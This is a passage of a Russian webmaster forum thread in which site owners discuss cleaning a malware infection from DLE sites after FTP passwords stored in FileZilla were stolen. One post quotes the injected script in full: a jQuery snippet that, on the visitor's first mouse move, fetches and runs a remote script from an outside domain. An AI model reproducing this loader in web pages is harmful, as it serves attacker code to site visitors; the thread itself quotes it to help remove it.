Помогите избавиться от вируса на DLE

1 234 5
A
На сайте с 03.04.2011
Offline
12
#21

Ну вы даете! Весь ваш сайт у них в руках. Поздравляю! Как можно пароли сохранять где либо?

Лень и жадность убьет человечество, это точно.

Компании РФ. Aqula.ru - Социальная сеть инвесторов (http://www.aqula.ru/blogs/). Новый IR проект.
suvorov.r
На сайте с 25.11.2010
Offline
15
#22

С самого начала писал, что пароли от FTP стырили, а тут про DLE погнали) Вообщем фигня это, а не вирус. Удалите файлзилу вместе с папкой что в Application и ставьте тотал, ну и естественно пароли на фтп сменить.

Trafikgon
На сайте с 24.10.2008
Offline
174
#23

Да уж система слежения спасла бы вас) но пока в разработке(

. (#)
oyp3
На сайте с 28.04.2010
Offline
76
#24
aqula:
Ну вы даете! Весь ваш сайт у них в руках. Поздравляю! Как можно пароли сохранять где либо?
Лень и жадность убьет человечество, это точно.

Да не ) я не думаю что им наши сайты нужны, у них миллионы этих ФТП тыреться )

KT
На сайте с 24.02.2011
Offline
51
#25

как вариант:

найдите все файлы, где прописался данный скрипт. Обычно это index, default, menu, header и все файлы .js

и закомментируйте его.

Для этого заходите на хост, архивируете все свои файлы в один архив .zip

Скачиваете себе на комп, разархивируете.

Потом врубаете программу MassTextProcessor (бесплатная)

и задаете ей команду все текстовые блоки


<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js"></script><script type="text/javascript">var x = jQuery.noConflict(true);x(function() {var flag = 0;x(window).mousemove(function() {if (flag === 0) {flag = 1; x.getScript('http://firefoxstabs.com/' + Math.random().toString().substring(3) + '.js', function() {flag = 2;});}});});</script>

поменять на


// <script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js"></script><script type="text/javascript">var x = jQuery.noConflict(true);x(function() {var flag = 0;x(window).mousemove(function() {if (flag === 0) {flag = 1; x.getScript('http://firefoxstabs.com/' + Math.random().toString().substring(3) + '.js', function() {flag = 2;});}});});</script>

После этого сколько бы он не ломился вам что-то менять, он видит свой собственный код и вас не трогает, хотя он уже и не работает

DV
На сайте с 01.05.2010
Offline
644
#26
А вот где эта фигня сидит на компе? Может кто-то из инфорамционной безопасности может подсказать?

Так займитесь компьютером. Ваш антивирус есть иллюзия безопасности, нужны организационные меры, смена привычек, иначе ничего не поможет. АВ есть попытка догнать уходящее солнце, и если вы и далее на него будете надеяться, пользуясь прежними навыками обращения с техникой, боюсь, будут постоянные рецидивы.

VDS хостинг ( http://clck.ru/0u97l ) Нет нерешаемых задач ( https://searchengines.guru/ru/forum/806725 ) | Перенос сайтов на Drupal 7 с любых CMS. ( https://searchengines.guru/ru/forum/531842/page6#comment_10504844 )
oyp3
На сайте с 28.04.2010
Offline
76
#27

Почистил комп доктор вэбом и сменил ФТП и геморой ушол)))

SR
На сайте с 07.07.2004
Offline
498
#28

с такой же фигней столкнулся, комп чист, правда он у мене новый:) пару неделек и вирусняк похоже давно засел

на дле сайтах почистить js файлы в шаблоне, а движок заменить простым копированием

вот теперь надо понять вообще от меня вирус или нет

O
На сайте с 25.11.2010
Offline
7
#29

Чем дело то закончилось? У меня на двух хостингах все сайты упали! Как чистили сайтики? Поделитесь успешной кампанией! Либо я не все удаляю, либо червяк удалил что-то сам.

Одним словом Поделитесь лекарством от этой болезни...

SR
На сайте с 07.07.2004
Offline
498
#30
ostrovskiy:
Чем дело то закончилось? У меня на двух хостингах все сайты упали! Как чистили сайтики? Поделитесь успешной кампанией! Либо я не все удаляю, либо червяк удалил что-то сам.

Одним словом Поделитесь лекарством от этой болезни...

файлы движка js замените, если модули стоят дополнительные так же в js в ручную

еще я грешу на граббер который я запускал с хоста, взятый их паблика

1 234 5

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий